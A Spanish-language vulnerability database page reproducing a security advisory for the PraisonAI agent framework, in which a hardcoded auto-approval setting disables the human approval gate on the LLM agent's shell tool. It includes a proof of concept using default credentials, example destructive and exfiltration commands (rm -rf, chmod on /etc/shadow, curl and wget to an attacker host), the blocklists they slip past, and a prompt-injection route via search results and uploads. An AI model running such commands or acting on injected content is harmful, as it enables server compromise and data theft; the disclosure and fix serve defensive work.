Alta

PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution

  • Publicada: 10.04.2026
  • Actualizado: 11.10.2026 13:19

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

python
config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

python
config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

python
auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

python
result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist:

  1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r
  2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

bash
# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists:

  • rm -rf /home/user/documents — no blocked characters
  • chmod 777 /etc/shadow — no blocked characters
  • curl http://attacker.example.com/exfil — no blocked characters
  • wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters
  • python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

  • Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
  • Confidentiality breach: Read arbitrary files accessible to the process (/etc/passwd, application secrets, environment variables containing API keys).
  • Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
  • Availability impact: Kill processes, consume disk/memory, delete critical data.
  • Administrator control undermined: Even administrators who explicitly set PRAISON_APPROVAL_MODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.
  • Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.

Recommended Fix

Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:

python
# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto"  # Trust mode - auto-approve all tool executions

# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval

Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:

python
import shlex

ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}

def _sanitize_command(command: str) -> str:
    # Existing blocklist checks...
    
    # Additionally, check the base command against allowlist
    try:
        parts = shlex.split(command)
    except ValueError:
        raise ValueError(f"Could not parse command: {command!r}")
    
    base_cmd = os.path.basename(parts[0]) if parts else ""
    if base_cmd not in ALLOWED_COMMANDS:
        raise ValueError(
            f"Command {base_cmd!r} is not in the allowed command list. "
            f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
        )
    
    return command

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) praisonai < 4.5.128 4.5.128

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-863
Plataforma
Python (PyPI)
Paquete
praisonai
Publicada
10.04.2026
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-qwgj-rrpj-75xm - CC BY 4.0

Historial de vulnerabilidades: praisonai

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (104) en el archivo
Entradas en total
104
Primera → última
04.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 27
  • Alta 60
  • Media 17

Divulgaciones por año

  1. 2026: 104
Gravedad:
  1. PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution esta entrada
    Alta · 8.8 CVE-2026-56075 < 4.5.128 4.5.128
  2. Alta · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
Mostrar más (20) Mostrando 21 de 87

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.